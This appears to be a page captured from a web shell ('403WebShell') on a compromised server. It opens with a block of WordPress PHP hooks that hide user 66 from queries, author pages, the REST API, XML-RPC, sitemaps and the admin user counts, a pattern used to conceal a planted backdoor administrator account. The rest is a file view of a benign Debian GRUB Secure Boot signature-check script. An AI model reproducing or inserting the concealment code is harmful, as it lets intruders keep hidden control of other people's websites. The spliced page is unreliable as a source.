add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /usr/share/grub/grub-check-signatures
#!/bin/sh

set -e

. /usr/share/debconf/confmodule

# Check if we are on an EFI system
efivars=/sys/firmware/efi/efivars
secureboot_var=SecureBoot-8be4df61-93ca-11d2-aa0d-00e098032b8c
moksbstatert_var=MokSBStateRT-605dab50-e046-4300-abb6-3dd810dd8b23
tmpdir=$(mktemp -d)

on_secure_boot() {
	# Validate any queued actions before we go try to do them.
	local moksbstatert=0

	if ! [ -d $efivars ]; then
		return 1
	fi

	if ! [ -f $efivars/$secureboot_var ] \
		|| [ "$(od -An -t u1 $efivars/$secureboot_var | awk '{ print $NF }')" -ne 1 ]
	then
		return 1
	fi

	if [ -f /proc/sys/kernel/moksbstate_disabled ]; then
		moksbstatert=$(cat /proc/sys/kernel/moksbstate_disabled 2>/dev/null || echo 0)
	elif [ -f $efivars/$moksbstatert_var ]; then
		# MokSBStateRT set to 1 means validation is disabled
		moksbstatert=$(od -An -t u1 $efivars/$moksbstatert_var | \
					   awk '{ print $NF; }')
	fi

	if [ $moksbstatert -eq 1 ]; then
		return 1
	fi

	return 0
}

# Retrieve the keys we do trust from PK, DB, KEK, and MokList.
extract_known_keys() {
	# Make the Canonical CA cert available for validation too; in case
	# MokListRT is empty due to a bug.
	cp /usr/share/grub/canonical-uefi-ca.crt $tmpdir

	# Extract known UEFI certs from firmware variables
	( cd $tmpdir; \
		mokutil --export --db >/dev/null 2>/dev/null; \
		mokutil --export --mok >/dev/null 2>/dev/null; )
	find $tmpdir -name "*.der" -exec openssl x509 -inform der -in {} -outform pem -out {}.crt  \;
}

# Check if a given kernel image is signed
is_signed() {
	kernel=$1
	tmp=$(mktemp)
	kernel_tmp=$(mktemp)
	if zcat $kernel > $kernel_tmp 2>/dev/null; then
		kernel=$kernel_tmp
	fi
	sbattach --detach $tmp $kernel >/dev/null 2>/dev/null 	# that's ugly...
	test "$(wc -c < $tmp)" -ge 16	# Just _some_ minimum size
	result=$?
	if [ $result -eq 0 ]; then
		sig_subject=$(openssl pkcs7 -inform der -in $tmp -print_certs | openssl x509 -noout -text | grep Subject: )
	fi
	rm $tmp
	if [ $result -eq 0 ]; then
		for crtfile in $tmpdir/*.crt; do
			sbverify --cert $crtfile $kernel >/dev/null 2>/dev/null
			result=$?
			if [ $result -eq 0 ]; then
				rm "$kernel_tmp"
				return $result;
			fi
		done
		echo "$1 is signed, but using an unknown key:" >&2
		echo "$sig_subject" >&2
	else
		echo "$1 is unsigned." >&2
	fi
	rm "$kernel_tmp"
	return $result
}

# Check that our current kernel and every newer one is signed
find_unsigned() {
	uname_r="$(uname -r)"
	for kernel in $(ls -1 /boot/vmlinuz-* | sort -V -r); do
		# no kernels :(
		if [ "$kernel" = "/boot/vmlinuz-*" ]; then
			break
		fi
		this_uname_r="$(echo "$kernel" | sed -r 's#^/boot/vmlinuz-(.*)#\1#; s#\.efi\.signed$##')"
		if dpkg --compare-versions "$this_uname_r" lt "$uname_r"; then
			continue
		fi
		if [ -e "$kernel.efi.signed" ]; then
			continue
		fi
		if ! is_signed $kernel; then
			echo "$this_uname_r"
		fi
	done
}

# Only reached from show_warning
error() {
	echo "E: Your kernels are not signed with a key known to your firmware. This system will fail to boot in a Secure Boot environment." >&2
	exit 1
}

# Either shows a debconf note or prints an error with error() above if
# that fails
show_warning() {
	# kernels should be an indented list of one version per line
	escaped="$(printf "%s" "$unsigned" | sed "s#^#     #" | debconf-escape -e )"
	db_capb escape
	db_settitle grub2/unsigned_kernels_title || error
	db_fset grub2/unsigned_kernels seen 0 || error
	db_subst grub2/unsigned_kernels unsigned_versions "$escaped" || error
	db_input critical grub2/unsigned_kernels || error
	db_go || error
	error
}

if on_secure_boot; then
	extract_known_keys
	unsigned="$(find_unsigned)"
	if [ -n "$unsigned" ]; then
		show_warning "$unsigned"
	fi
	rm -rf "$tmpdir"
fi

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